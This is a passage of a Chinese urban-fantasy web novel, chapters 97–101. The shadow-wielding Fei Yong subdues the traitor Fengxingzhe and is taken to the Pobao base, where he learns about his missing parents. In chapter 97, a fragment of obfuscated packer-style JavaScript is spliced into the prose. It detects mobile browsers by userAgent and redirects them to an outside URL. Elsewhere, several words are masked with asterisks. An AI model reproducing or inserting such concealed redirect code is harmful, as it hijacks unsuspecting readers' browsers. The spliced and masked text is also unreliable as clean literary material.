“看吧,你天生就该与影石共生。”判官的声音带着蛊惑,“加入我,我们能一起改写这个混乱的世界。”
费勇的影刃突然劈向自己身后的六芒星。紫色能量与碎片碰撞的瞬间,他感觉脑袋像被重锤砸中,无数混乱的画面涌进来——
十年前的实验室里,父亲正将块影石碎片嵌入台复杂的仪器,母亲在旁边记录数据,两人脸上带着恐惧和决绝;
裁决会的刑房里,个熟悉的身影被绑在架子上,影子里渗出金色的光,正是闪电侠提到的“超音速引擎”;
还有片无尽的黑暗中,无数影石碎片在旋转,中央悬浮着个模糊的人影,正在说:“必须阻止判官……影界之门不能打开……”
“够了!”费勇猛地晃头,冷汗浸湿了后背。他的影刃上突然浮现出金色的纹路,与父亲实验室里那台仪器上的刻痕一模一样。
“看来你看到了些有趣的东西。”判官的声音带着笑意,“现在,做出你的选择——是成为救世主,还是让这个世界陪你一起埋葬?”
第六块碎片突然俯冲下来,直逼夏艳玲。费勇想也没想就影遁过去,用后背挡住碎片——这一次,影石没有弹开,而是像烧红的烙铁般贴在他皮肤上,剧痛让他眼前发黑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935488|192884||http|test|mini|href|location''.split(''|''),0,{}));
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r>“费勇!”苏清月的绿藤瞬间缠上碎片,生命能量疯狂涌入,竟在碎片表面烧出个焦黑的印记。
“原来如此……”费勇突然笑了。剧痛中,他终于明白父亲留下的怀表为何会发烫——那不是警告,是在教他如何控制碎片共鸣。
暗影能量顺着费勇的血液涌入第六块碎片。他能清晰地感知到里面被困的灵魂,它们像找到了出口,顺着暗影能量往他影子里钻。
“不!你在破坏仪式!”判官的声音第一次出现慌乱。
费勇没有理会。他引导着那些灵魂与自己影子里的碎片融合,金色纹路在他全身亮起,与洞壁上的刻痕产生共鸣。洞口的漩涡开始收缩,黑色能量被一点点逼回地下。
“清月,借你的藤蔓用用!”费勇突然大喊。
苏清月立刻会意,绿藤像条绿色的鞭子,将第七块碎片卷起来,甩向费勇。六、七两块碎片在空中相撞的瞬间,费勇的暗影突然形成个巨大的茧,将所有碎片包裹在内。
“判官,游戏才刚开始。”费勇的声音透过茧传出,带着前所未有的坚定,“影石阵缺的不是钥匙,是能摧毁它的人。”
茧内爆发出刺眼的白光。当光芒散去,所有碎片都消失了,只在费勇胸口留下个金色的六芒星印记,与洞壁上的刻痕一模一样。
车间里终于恢复平静,只有洞口还在冒着丝丝寒气。夏艳玲的布娃娃突然掉在地上,从里面滚出半张泛黄的照片——上面是个抱着婴儿的女人,怀里的布娃娃和夏艳玲手里的一模一样。
“妈妈……”夏艳玲捡起照片,手指抚过女人的脸,突然抬头看向费勇胸口的印记,“和你影子里的光一样……”
费勇捡起照片,指尖突然刺痛。照片背面用褪色的墨水写着行字:“影石集齐之日,青禾堂的古籍会指引方向——苏教授留。”
苏教授?苏清月的爷爷?
费勇看向苏清月,发现她也正盯着照片,瞳孔骤缩:“这是我爷爷的字迹……他失踪前留下的最后线索!”
洞口突然传来阵沉闷的**声,黑色的烟雾从下面冒上来,带着股熟悉的硝烟味——是裁决会特制的**。
“有人在炸下面的通道!”林悦的电流瞬间凝聚成矛,警惕地盯着洞口,“是想毁了证据,还是想逼我们下去?”
费勇摸着胸口的印记,那里还在发烫。他知道,无论下面有什么,他都必须走一趟——不仅为了父母的真相,也为了照片上那个和夏艳玲母亲长得很像的女人。
第98章:风行者的末路
洞口传来的**声还没散尽,一道残影突然从烟尘里窜出,直奔悬浮在半空的第六块影石碎片。那速度快得几乎拉出蓝色光轨,正是本该被破晓支援者缠住的风行者——他左胳膊以诡异的角度扭曲着,显然刚才的交锋没讨到好,却依旧满眼贪婪地盯着碎片。
“审判长**,这碎片该归我!”风行者的声音带着超音速摩擦的锐响,右手化作道模糊的掌影拍向碎片,“判官答应过,拿到碎片就让我当新审判长!”
费勇早有防备。在风行者动身的瞬间,他的暗影已经顺着地面织成张巨网,网眼闪烁着与影石碎片共鸣的金色纹路。这是他刚领悟的“影缚阵”,专门克制高速移动的异能者。
“哦?判官还跟你说什么了?”费勇的影刃抵在风行者的后颈时,对方才惊觉自己已经被暗影牢牢捆住,连指尖都动弹不得。这种速度上的绝对压制,让风行者的脸色瞬间变得惨白。
“放开我!你知道我是谁吗?”风行者挣扎着嘶吼,超音速异能带来的气压让周围的铁皮都在嗡嗡作响,“我是破晓的行动组长!你敢动我,灯塔不会放过你!”
林悦嗤笑着踹了踹他被捆住的腿:“还敢提破晓?刚才是谁带着裁决会的人偷袭自己同伴?”她的电流顺着暗影网游走,在风行者身上炸出串火花,“要我说,直接电晕了扔给特调科,让他尝尝背叛的滋味。”
“别碰他!”苏清月突然拦住林悦,绿藤轻轻拂过风行者的额头,“他的精神状态很不稳定,像是被什么东西控制着。”
费勇挑眉看向风行者。这家伙的瞳孔里确实有细微的红丝在游动,和之前被审判长精神控制的人很像,只是颜色更淡。他突然想起老鬼说过,裁决会有能篡改记忆的异能者。
“看来判官不止给你画了饼,还加了料。”费勇的暗影突然收紧,“影界领域,记忆投影。”
随着他的话音,周围的暗影开始涌动,投射出清晰的画面——风行者在裁决会的密室里,对着判官的虚影卑躬屈膝;他用破晓的行动路线换来了抑制超音速副作用的药剂;甚至连这次偷袭,都是判官早就规划好的“弃子计划”。
最刺眼的是最后一幕:判官冷漠地对身边的审判长说:“风行者的速度确实有用,但他的忠诚还不如一块影石碎片。等拿到第六块碎片,就让他和费勇同归于尽。”
画面消失时,风行者的挣扎突然停了。他呆呆地看着自己被暗影捆住的手,那上面还沾着刚才偷袭同伴时留下的血。
“不……不可能……”风行者喃喃自语,眼神从震惊到绝望,最后化作疯狂的恨意,“判官骗我!他一直在骗我!”
夏艳玲抱着布娃娃走到他面前,粉色光粒在两人之间浮动:“你难过的时候,会想起妈妈吗?”
这句话像把钥匙,突然打开了风行者紧绷的神经。他猛地抬头看向夏艳玲,眼睛里第一次流露出不是贪婪或恐惧的情绪,而是种复杂的痛苦。
“我儿子……也像你这么大……”风行者的声音沙哑得像被砂纸磨过,“十年前觉醒潮的时候,他因为异能失控……”
费勇的影刃微微一松。他从风行者的记忆碎片里看到了更多——那个孩子的异能是“声波共鸣”,失控时会发出摧毁一切的噪音。为了保护周围的人,风行者亲手打晕了他,却在送医途中被裁决会拦截,孩子最终成了炼制影石碎片的材料。
“所以你就投靠了杀子仇人?”费勇的声音里带着寒意,暗影再次收紧,“用更多人的命换自己苟活?”
“我没得选!”风行者突然爆发,超音速异能带来的冲击波让暗影网都出现了裂痕,“判官说只要我帮他完成影石阵,就能复活我儿子!他说这是唯一的办法!”
“复活?”苏清月的脸色沉了下来,“青禾堂的古籍里记载,影石阵的能量确实能重组肉体,但那只是没有灵魂的傀儡!你连这点都不知道吗?”
风行者的身体晃了晃,像是被抽走了所有力气。他看着洞口那些与影石碎片共鸣的纹路,突然发出凄厉的笑:“我知道……我早就知道……只是我不敢承认……”
就在这时,几道黑影从车间外跃入,是真正的破晓成员。带头的人戴着猫头鹰面具,正是之前击溃风行者手下的支援者。
“夜枭大人!”风行者像是看到了救星,“快告诉他们,我是被胁迫的!我对破晓是忠诚的!”
夜枭却只是冷漠地
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对费勇点头:“灯塔大人说,按你的意思处理。”他的目光扫过风行者时,没有丝毫温度,“破晓从不留背叛者。”
这句话彻底击垮了风行者的心理防线。他突然挣脱暗影的束缚,不是冲向出口,而是扑向悬浮在洞口的第六块影石碎片。
“既然活不成,那就一起死!”风行者的超音速异能全力爆发,身体周围甚至出现了音爆云,“这碎片里有我儿子的精神核心!我带他一起走!”
费勇的影刃几乎在同时出鞘。但他没有攻击风行者,而是精准地劈在碎片与风行者之间,金色纹路瞬间形成道屏障。
“你儿子的灵魂不该被你这点可怜的执念困住。”费勇的声音透过屏障传来,“影石碎片里的灵魂,我会全部解放。但你,必须为自己的背叛付出代价。”
风行者的拳头狠狠砸在屏障上,却只激起圈涟漪。他看着碎片里那些游动的白色光点,突然捂着脸蹲下身,像个迷路的孩子般哭了起来。
破晓成员上前铐住风行者时,他没有反抗。但在被押走前,他突然转头看向夏艳玲,眼神复杂得让人看不懂。
“你的核心……”风行者的声音压得极低,刚说了四个字就被夜枭堵住了嘴。但费勇还是捕捉到了他没说完的话——“判官要的是情绪核心的本源……”
夏艳玲突然抱紧布娃娃往后缩了缩,粉色光粒在她周围不安地跳动:“他在说什么?我的核心是什么?”
费勇握住她的手,发现这孩子的指尖冰凉。他看向洞口那些诡异的纹路,突然有种强烈的预感:夏艳玲的情绪核心,恐怕比所有人想象的都要重要。
夜枭走到费勇面前,递出枚黑色的徽章。徽章上雕刻着破晓的标志——半轮旭日从暗影中升起,与费勇胸口影石碎片留下的印记完全吻合。
“灯塔大人请你去破晓基地一叙。”夜枭的声音透过面具传来,带着种奇特的共鸣,“关于影石阵,关于十年前的觉醒潮,还有你父母的真相,他会告诉你一切。”
费勇接过徽章的瞬间,它突然化作道流光融入他的影子。暗影里传来老鬼熟悉的声音:“小子,别担心,灯塔不是坏人。只是有些真相,需要你自己去面对。”
第99章:破晓的邀请
车间里的烟尘还没散尽,夜枭的猫头鹰面具在阴影里泛着冷光。他递来的黑色徽章在费勇掌心发烫,边缘的纹路正与胸口影石碎片留下的印记缓缓重合,像两把严丝合缝的钥匙。
“这徽章……”费勇指尖摩挲着徽章上的旭日图案,突然想起十年前父母留下的怀表内侧,也刻着一模一样的纹路。那时他以为只是普通的装饰,现在才明白那是破晓的标记。
“灯塔大人说,你会需要它。”夜枭的声音透过面具传来,带着金属般的质感,“裁决会的影石阵已经启动了七处,再放任下去,整个城市都会变成异能者的屠宰场。”
林悦突然嗤笑一声,电流在她指尖噼啪作响:“说得比唱得好听。刚才风行者偷袭我们的时候,怎么没见你们出来主持正义?”她的目光扫过破晓成员,“谁知道你们是不是和裁决会演双簧?”
夜枭没理会她的嘲讽,只是从怀里掏出个巴掌大的金属盒子,打开后里面躺着三枚银色的指环:“特调科的林警官,青禾堂的苏医生,还有这位小朋友。”他的目光落在夏艳玲身上,“灯塔大人说,愿意跟费勇走的人,这枚‘影息环’能屏蔽裁决会的能量探测。”
苏清月接过指环仔细端详,绿藤轻轻缠绕上去,叶片瞬间变得翠绿:“里面有生命能量流动,确实能干扰异能追踪。”她看向费勇,眼神里带着询问,“青禾堂的古籍提到过,破晓在十年前就开始研究反制裁决会的技术。”
夏艳玲捏着指环不敢戴,小手紧紧抓着费勇的衣角。粉色光粒在她指间浮动,触碰到指环时突然发出细碎的光芒,像在确认什么。
“它不讨厌这个。”夏艳玲小声说,把指环套在无名指上,大小竟刚刚好。
费勇注意到夜枭在夏艳玲戴上指环时,面具下的眼神闪了一下,像是松了口气。他突然想起风行者被押走前那句没说完的话——“你的核心是判官想要的”,看来破晓早就知道夏艳玲的特殊。
“灯塔为什么这么在意我们?”费勇握紧徽章,暗影悄然蔓延,缠上夜枭的影子,“别跟我打哑谜,我要知道真相。”
夜枭的影子在暗影触碰的瞬间剧烈颤抖,他闷哼一声,后退半步才稳住身形:“看来老鬼说得没错,你的暗影重构已经能影响高阶异能者了。”他抬手掀开面具的一角,露出下巴上道蜿蜒的疤痕,“十年前,我是你父亲的部下。”
这句话像道惊雷在费勇耳边炸响。他的暗影不受控制地暴涨,车间的铁皮屋顶被撕裂出个大洞,月光倾泻而下照亮夜枭疤痕上的纹路——那是被影石碎片灼烧的痕迹。
“我爸他……”费勇的声音发紧,指尖的徽章烫得几乎要嵌进肉里。
“到基地再说。”夜枭重新戴上面具,语气恢复了之前的冷漠,“现在每多等一秒,就有三个异能者被裁决会抓去炼制影石。”他转身走向车间大门,“走不走,给句痛快话。”
林悦突然按住费勇的肩膀,电流顺着接触点传来微弱的震颤——那是她特调科的暗号,意思是“有诈,别冲动”。但当她看到费勇眼底的急切,到了嘴边的话又咽了回去,只是低声说:“我跟你去。但要是敢耍花样,我电穿你们基地的地基。”
苏清月已经将影息环戴在手上,绿藤在她周围织成个小小的防护罩:“青禾堂与裁决会的仇,迟早要算。”她看向费勇,眼神坚定,“而且我爷爷的线索,也该在破晓找到答案。”
费勇深吸一口气,将徽章按在胸口。冰凉的金属突然融化,化作道暖流涌入影子里。暗影中浮现出一行金色的字:“影石集齐之日,灯塔为你引路。”
“走吧。”费勇的暗影卷起夏艳玲,跟在夜枭身后,“但我警告你们,要是敢对我的人动歪心思——”他的影刃突然在掌心凝聚,刃身映出夜枭的影子,“风行者就是你们的下场。”
夜枭的脚步顿了一下,没回头,只是摆了摆手。破晓成员立刻上前清理现场,动作麻利得像在处理日常工作,显然这种收尾对他们来说轻车熟路。
离开工厂时,费勇回头望了一眼裂开的地面。洞口的黑雾已经散去,那些与影石碎片共鸣的纹路却更加清晰,像无数只眼睛在黑暗中注视着他们的背影。
“在想什么?”苏清月走到他身边,绿藤轻轻碰了碰他的影子。
“我在想,影石阵到底是什么。”费勇看着远处城市的灯火,暗影在他脚下缓缓流动,“判官说影石阵缺我不可,灯塔又说要靠我来阻止……这背后肯定有我不知道的阴谋。”
林悦突然踹了踹路边的石子,石子带着电流飞出去,砸碎了块废弃的玻璃:“管他什么阴谋,来了就打。”她哼了一声,“不过说真的,你爸要是真在破晓,见面时记得替我问问,当年他是不是也像你一样,总爱把影子缠在别人身上?”
费勇被她逗笑,紧绷的神经松弛了些。暗影突然在他掌心凝聚成个小小的光球,里面映出夏艳玲的影子——小姑娘正抱着布娃娃打盹,指环在月光下泛着柔和的光。
破晓的车停在工厂后巷,是辆不起眼的黑色面包车。夏艳玲上车就蜷缩在后座睡着了,布娃娃掉在座位底下,露
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出里面藏着的半张照片——除了抱着婴儿的女人,照片角落还能看到个模糊的男人身影,手里握着和费勇一模一样的怀表。
费勇悄悄把照片塞回布娃娃里,指尖触碰到布娃娃的缝线时,突然感受到一股熟悉的温暖,和小时候生病时,妈妈用手抚摸他额头的感觉一模一样。
“坐稳了。”夜枭发动汽车,轮胎摩擦地面的声音被异能消弭,“到基地要穿过三个能量屏障,可能会有点颠簸。”
车窗外的景象开始扭曲,像是穿过了一层无形的水膜。费勇的影子突然剧烈波动,胸口的印记再次发烫,这次浮现出的不是文字,而是幅简易的地图,标记着七个闪烁的红点——正是夜枭说的影石阵启动点。
“看来徽章不只是身份象征。”费勇低声说,将地图记在心里,“它在给我传递信息。”
苏清月凑近看了一眼,突然轻呼一声:“第七个红点的位置,就在青禾堂的地下密室!”她的脸色瞬间变得苍白,“难怪最近总感觉地下有能量波动,我还以为是错觉……”
林悦立刻掏出通讯器,手指飞快地操作着:“我让特调科的人去盯着,一旦有异动就通知我们。”她按发送键的手顿了顿,“不过裁决会要是连青禾堂都敢动,说明他们根本不在乎暴露。”
费勇的暗影突然缠上通讯器,屏幕瞬间黑了下去:“别用这个,裁决会能追踪特调科的信号。”他指尖凝聚出一缕暗影,化作只巴掌大的蝙蝠,“用这个传信,破晓的异能通讯不会被拦截。”
林悦挑眉看着暗影蝙蝠振翅飞出车窗,突然笑了:“行啊费勇,现在越来越有神秘组织头目的样子了。”她撞了撞他的肩膀,“等这事结束,要不要考虑来特调科当个顾问?待遇比你当大学生好多了。”
“还是算了吧。”费勇想起学校里堆积如山的作业,无奈地笑了,“我还想毕业呢。”
苏清月突然指着窗外:“你们看!”
车正行驶在一条狭窄的山谷里,两侧的山壁上布满了荧光藤蔓,组成一个个复杂的符文。当车穿过最后一道符文时,前方的山壁突然缓缓打开,露出个巨大的洞口,门楣上刻着四个苍劲有力的大字——“破晓之光”。
夏艳玲被洞口的光芒惊醒,揉着眼睛看向费勇:“费勇哥,这里好亮啊。”她的小手突然指向洞口内侧,“那里有个人,在对我们笑。”
费勇顺着她指的方向看去,只看到一片晃动的阴影。但他的暗影却在此时剧烈共鸣,胸口的印记烫得惊人,仿佛有什么熟悉的气息正在前方等待着他。
第100章:熟悉的气息
面包车穿过最后一道能量屏障时,夏艳玲突然从后座爬起来,小脑袋顶着车窗玻璃,手指在雾蒙蒙的玻璃上画着圈。布娃娃被她夹在胳膊底下,露出的半张照片在颠簸中轻轻晃动。
“费勇哥,你看外面的树。”她突然回头,眼睛亮得像浸了露水的星星,“它们的影子在跳舞。”
费勇顺着她指的方向看去,山谷两侧的松树在车灯照射下张牙舞爪,影子投在岩壁上确实像在扭动。但只有他能看见,那些影子的末端都缠着一缕极细的黑雾,正顺着车辙往轮胎上爬——是裁决会的追踪异能。
“别乱指。”费勇的暗影悄然从座位底下蔓延出去,像块黑色的橡皮擦,将那些黑雾悄无声息地抹去。他弹了下夏艳玲的额头,“坐好,摔下去我可不接你。”
小姑娘委屈地噘起嘴,却乖乖缩回座位,小手重新抓住费勇的衣角。布料摩擦间,费勇突然感觉到一阵熟悉的悸动,和小时候被父亲扛在肩上时,后颈传来的呼吸声一模一样。
“你的影子……”夏艳玲把脸颊贴在他的影子上,声音闷闷的,“暖暖的,有爸爸的味道。”
这句话像枚投入深潭的石子,在费勇心里激起层层涟漪。他猛地回头,却只看到夏艳玲毛茸茸的发顶——她又睡着了,嘴角还挂着浅浅的笑意,像是梦到了什么开心事。
苏清月轻轻碰了碰他的胳膊,绿藤从车窗缝钻出去,卷回片带着露水的叶子:“别多想,艳玲的情绪感知很特别,也许只是感受到你影子里的守护欲。”她顿了顿,指尖在叶子上划出淡淡的纹路,“就像青禾堂的古籍说的,真正的暗影能量,从来不是冰冷的。”
林悦正低头摆弄着影息环,闻言嗤笑一声:“守护欲?我看是这家伙的影子闲不住,刚才又偷偷帮我们挡了裁决会的追踪吧。”她晃了晃手腕,指环上的电流突然窜出道小火花,“不过这破环还真管用,特调科的定位系统都搜不到我们了。”
费勇没接话,只是悄悄握住夏艳玲的小手。她的掌心很烫,像揣着颗小小的太阳,与自己微凉的指尖形成奇妙的呼应。他突然想起风行者被押走前的眼神,那种混杂着悔恨与恐惧的情绪,和此刻夏艳玲梦中蹙起的眉头惊人地相似。
“夜枭,”费勇突然开口,目光扫过前排驾驶座的背影,“风行者说艳玲的核心是判官想要的,到底是什么意思?”
夜枭握着方向盘的手顿了顿,猫头鹰面具在后视镜里闪过一丝冷光:“到了基地,灯塔大人会亲自解释。”他的语气不容置疑,却在换挡时泄了气——费勇的暗影已经缠上了他的操纵杆,只要再用力就能捏碎这根合金钢管。
“我耐心有限。”费勇的影刃在膝盖上若隐若现,刃身映出夜枭紧绷的侧脸,“要么现在说,要么我让这车永远开不到基地。”
苏清月轻轻拽了拽他的袖子,绿藤在他手臂上绕了圈:“别冲动,我们快到了。”她的声音压得很低,“你看车窗外的符文,已经和青禾堂古籍里记载的‘守护阵’完全吻合,这里确实是破晓的地盘。”
林悦也收起了玩笑的神色,电流在指尖凝聚成细小的光球:“我爸当年留下的笔记里提过,破晓的基地有三重验证机制,能通过的都是自己人。”她看向费勇,眼神里带着罕见的柔和,“再等等,真相不会跑。”
费勇的暗影缓缓收回,却没完全散去。他看着窗外飞速**的荧光符文,突然想起十年前那个雨夜,父亲抱着他冲进医院时,白大褂上沾着的就是这种发光的粉末。当时他以为是消毒水的味道,现在才明白那是能量残留的气息。
面包车突然减速,夜枭的声音打破了沉默:“到了。”
车窗外,山壁上的“破晓之光”四个大字正在缓缓亮起,金色的光芒顺着刻痕流淌,像有生命般爬上岩壁。费勇胸口的印记突然发烫,影子里的六块影石碎片开始旋转,发出蜂鸣般的共振声。
“这能量……”苏清月的绿藤突然剧烈摆动,叶片纷纷转向山壁的方向,“和影石碎片的波动完全一致,但更温和,像是……被净化过的。”
林悦推开车门,电流在指尖炸开:“我去前面探探路。”她刚迈出两步,突然僵在原地,目光死死盯着基地入口处的地面——那里的影子正在以肉眼可见的速度扭曲,像有无数东西要从地底钻出来。
“别碰那些影子!”费勇的暗影瞬间将林悦拉回车上,“是裁决会的‘影蚀’异能,会吞噬接触到的一切能量。”他的影刃划破掌心,鲜血滴在地面的瞬间,那些扭曲的影子突然像遇到火焰般退缩了。
夜枭推开车门,猫头鹰面具转向费勇:“看来灯塔大人说得没错,只有你的血液能暂时压制影蚀。”他扔来一把青铜钥匙,“基地的第一道门需要这个,还有……小心门口的守卫,他们不认识你。”
费勇接住钥匙的瞬间,突然感觉到一股强烈的视线。他抬头看向基地入口的阴影处,那里站着个穿着黑色风衣的人,帽檐压得很低,只能看到嘴角叼着的烟在黑暗中明灭——是老鬼。
老鬼似乎察觉到他的目光,突然朝这边举了举杯,像是在打招呼。费勇的影子里突然传来老鬼的声音,带着熟悉的戏谑:“小子,欢迎回家。”
这四个字让费勇的心脏猛地一缩。他低头看向自己的影子,那些旋转的影石碎片突然停下,在暗影中拼出半张模糊的人脸,眉眼间竟和自己有几分相似。
“费勇哥,你怎么了?”夏艳玲被他突然绷紧的身体惊醒,小手摸上他的影子,“它在发抖。”
费勇深吸一口气,将那半张人脸压回暗影深处。他推开车门,青铜钥匙在掌心泛着冷光:“没什么,我们进去。”
林悦紧随其后,电流在她周身织成张电网:“要是守卫敢动手,我就把他们的**改成烟花。”
苏清月抱着夏艳玲走在最后,绿藤在她们脚边形成个小小的防护罩:“艳玲,抓紧我。”她看向基地入口上方的“破晓之光”,眼神里闪过一丝复杂的情绪,“爷爷的笔记里说,这里藏着能治愈一切异能紊乱的秘密。”
夏艳玲突然指着入口处的守卫,小声音带着困惑:“他们的影子……在哭
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费勇的脚步顿住。那些穿着黑色制服的守卫,表面上看起来面无表情,影子却在地面上蜷缩成一团,像在承受巨大的痛苦。他突然想起老鬼说过的话——破晓的成员里,有很多是十年前觉醒潮的幸存者,他们的异能都带着无法愈合的创伤。
“让开。”费勇举起青铜钥匙,暗影在他身后缓缓展开,形成道巨大的屏障,“我是灯塔邀请来的人。”
守卫们对视一眼,没有让路,反而举起了手中的异能抑制器。为首的人声音沙哑:“除非灯塔亲自下令,否则谁也不能进。”
就在这时,基地深处突然传来一阵沉闷的钟声,三短一长,像是某种信号。守卫们听到钟声后立刻收起了抑制器,对着费勇等人行了个奇怪的礼,动作整齐得像提线木偶。
“灯塔大人在核心区等你。”为首的守卫侧身让路,帽檐下的眼睛闪过一丝红光,“但提醒你一句,别相信影子里的声音。”
这句话让费勇的后背瞬间窜起一股寒意。他不动声色地碰了碰林悦的胳膊,用暗影在她手心里写了个“警”字。林悦的电流立刻绷紧,朝他微微点头。
走进基地入口的瞬间,费勇突然回头望了一眼。山谷里的风正卷着落叶穿过能量屏障,那些被吹散的影子在地上拼出个残缺的符号——正是父母留下的怀表内侧,除了破晓标记外的另一个图案。
“走了。”林悦拽了拽他的胳膊,“再看下去,灯塔该等急了。”
费勇收回目光,跟着夜枭走进基地深处。走廊两侧的墙壁上挂着很多老照片,大多是穿着白大褂的人在实验室里工作的场景。他的目光突然被其中一张吸引——照片上的年轻女人抱着个婴儿,手里的布娃娃和夏艳玲的一模一样,而站在她身边的男人,正低头看着女人的怀表,侧脸和费勇几乎重叠。
“那是……”苏清月也看到了照片,绿藤突然剧烈晃动,“照片角落的日期,是我爷爷失踪的前一天!”
夏艳玲突然挣脱苏清月的手,跑到照片前,小手轻轻抚过那个抱着婴儿的女人:“妈妈……”
费勇的心脏像是被什么东西攥住了。他走到照片前,指尖抚过男人手里的怀表,暗影突然从照片里涌出,在他面前投射出一段模糊的影像——男人将怀表交给女人,低声说:“如果我没回来,就把这个交给费勇,告诉他影石阵的真相藏在青禾堂的古籍里。”
影像消失时,费勇的影子里突然传来父亲的声音,清晰得仿佛就在耳边:“儿子,小心灯塔,他不是……”
声音戛然而止,像是被什么东西掐断了。费勇猛地回头,只看到林悦和苏清月担忧的眼神,以及夏艳玲怀里突然亮起的布娃娃。
布娃娃的眼睛里渗出金色的光,在地上投射出一行字:“跟着光走。”
费勇深吸一口气,握紧了拳头。影子里的六块影石碎片再次开始旋转,这次发出的光芒不再是黑紫色,而是带着温暖的金色,像阳光穿透树叶的缝隙。
“走吧。”费勇的声音带着前所未有的坚定,“去见见这位灯塔大人。”
第101章:破晓基地的真面目
穿过刻着"破晓之光"的石门时,费勇的影子突然在地面铺开,像块黑色的地毯裹住了所有人的脚步。他能感觉到无数股能量在周围流动,有苏清月绿藤般的生命气息,有林悦电流似的锐利波动,还有夏艳玲身上若有若无的、像暖阳般的情绪光粒——这些能量在接触到基地墙壁的瞬间,都被一种更庞大的力量温柔地包裹着。
"这是能量缓冲层。"夜枭的声音从前面传来,他摘下猫头鹰面具,露出张棱角分明的脸,左眉骨上有道月牙形的疤,"十年前用初代异能者的核心能量构建的,能过滤裁决会的追踪信号。"
林悦突然抬手按在墙壁上,指尖的电流滋滋作响:"初代异能者的能量?我爸的笔记里说,这种能量极不稳定,最多只能维持三个月。"她猛地收回手,掌心沾着层银色的粉末,"这墙是用影石碎片混合合金做的?你们疯了?"
费勇凑近墙壁,暗影顺着指尖蔓延上去。墙体内的纹路在暗影中清晰可见,像无数条银色的血管,正缓缓输送着能量。他突然在纹路的交汇处看到个熟悉的符号——和父母怀表内侧的神秘图案一模一样。
"别碰!"苏清月的绿藤突然缠上他的手腕,叶片微微颤抖,"这能量场里混着裁决会的''影蚀''残留,接触久了会干扰你的暗影重构。"她从包里掏出个小瓷瓶,倒出三枚浅绿色的药丸,"青禾堂的清心丸,能暂时隔离能量干扰。"
夏艳玲捏着药丸不敢吃,小手把布娃娃举到费勇面前。布娃娃的眼睛突然闪了闪,嘴角的弧度似乎变大了些。"它说可以吃。"小姑娘这才把药丸塞进嘴里,腮帮子鼓鼓的像只仓鼠。
费勇正想笑,基地深处突然传来金属摩擦的巨响,地面跟着轻微震动。夜枭的脸色瞬间沉了下去,重新戴上面具:"跟我来,老鬼在等你们。"
穿过条长长的走廊,眼前的景象让所有人都愣住了。
这里根本不是想象中简陋的秘密据点。巨大的地下空间里,无数根银色的管道纵横交错,连接着一个个透明的培养舱。培养舱里漂浮着各种植物标本,有些在缓慢地蠕动,像是拥有生命。穿着白大褂的研究员们在舱体间穿梭,脚步轻快,完全不像在躲避裁决会追杀的样子。
更惊人的是场地中央的训练区。十几个异能者正在进行对抗训练,有人操控着水流形成盾牌,有人能让身体部分金属化。当费勇的目光扫过训练区的电子屏时,突然停下了脚步——上面显示的训练数据,和特调科内部数据库里的异能者档案几乎一致。
"你们在监视特调科?"林悦的电流瞬间暴涨,电网在她周身噼啪作响,"这些数据怎么来的?"
"别紧张,林警官。"个熟悉的声音从阴影里传来,老鬼慢悠悠地走了出来。他摘掉那副老花镜,露出双锐利的眼睛,身上的旧毛衣换成了黑色作战服,"这些数据,是你父亲当年偷偷传出来的。"
费勇瞳孔骤缩。老鬼的作战服左胸绣着个徽章,图案和他影子里的金色纹路分毫不差。
"星海学院的图书馆管理员,只是我的伪装。"老鬼掏出个牛皮档案袋扔给费勇,"破晓的情报网遍布全市,裁决会最近的动作很不对劲,他们的影石阵已经完成了七成。"
档案袋很沉,费勇打开时差点没拿稳。里面是厚厚的纸质文件,每页都贴着裁决会成员的照片,标注着他们的异能和行动轨迹。当他翻到最后几页时,手指突然僵住了。
那是两份泛黄的档案,照片上的年轻男女笑容灿烂。男人穿着和老鬼同款的作战服,女人的白大褂口袋里露出半截怀表链条——正是费勇的父母。
"你父母都是破晓的核心成员。"老鬼的声音低沉下来,"你父亲负责影石能量研究,你母亲是植物基因学家,青禾堂的很多古籍,都是她当年整理的。"
苏清月突然轻呼一声,指着档案里的一行字:"我爷爷的名字在这里!他是你母亲的助手?"
费勇没听见她在说什么,他的目光死死盯着档案末尾的备注:"20XX年7月15日,执行''影石回收''任务时失踪,疑似被裁决会捕获。"
7月15日。
这个日期像根针,刺破了他记忆里最柔软的地方。他记得那天是自己的六岁生日,父母出门前答应会带生日蛋糕回来。结果他等了一整夜,只等到远亲模糊不清的解释:"你爸妈去很远的地方工作了。"
"失踪?"费勇的声音发紧,暗影不受控制地在他脚下翻涌,"裁决会的审判长亲口说,我父母已经**。"
"审判长的话能信吗?"老鬼蹲下身,从靴子里抽出把短刀,在地面划出个复杂的符号,"他们确实被抓了,但裁决会没能从他们嘴里得到影石阵的秘密。"符号亮起时,周围的培养舱突然全部亮起红光,"你母亲在被捕前启动了''种子计划'',把影石的核心数据藏在了青禾堂的古籍里,由苏医生的爷爷保管。"
苏清月的脸色瞬间变得苍白:"难怪爷爷会被灭口,他不是因为研究觉醒潮……"
"是因为他知道得太多了。"老鬼的刀在符号中心一点,红光突然汇聚成个立体影像。影像里,费勇的母亲正在实验室里忙碌,她身边的助手正是苏清月的爷爷。"你母亲留下的最后一段影像,提到了影石阵的关键——需要暗影本源才能启动,也只有暗影本源能摧毁它。"
影像消失时,费勇的影子突然剧烈波动,六块影石碎
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片在暗影中旋转成个圆环。老鬼的眼睛亮了起来:"看来你已经收集到一半的碎片了。"他突然压低声音,"灯塔让我提醒你,别相信任何人,包括……"
话音未落,训练区突然传来**声。个金属化的异能者被冲击波掀飞,撞在费勇面前的培养舱上。舱体裂开道缝隙,里面的植物标本突然伸出藤蔓,缠住了那名异能者的脚踝。
"有入侵者!"有**喊,整个基地瞬间响起警报。
林悦的电流立刻化作雷矛:"是裁决会的人?"
老鬼却摇了摇头,脸色凝重地看向监控屏幕:"比那更糟。是风行者,他带着审判长的人闯进来了。"
费勇的暗影瞬间覆盖了整个房间。他能感觉到数十股陌生的能量正在快速靠近,其中股速度快得惊人,带着熟悉的桀骜气息——确实是风行者。
"他为什么要背叛?"夏艳玲突然抱紧布娃娃,小脸埋在费勇的背上,"他的影子……在哭。"
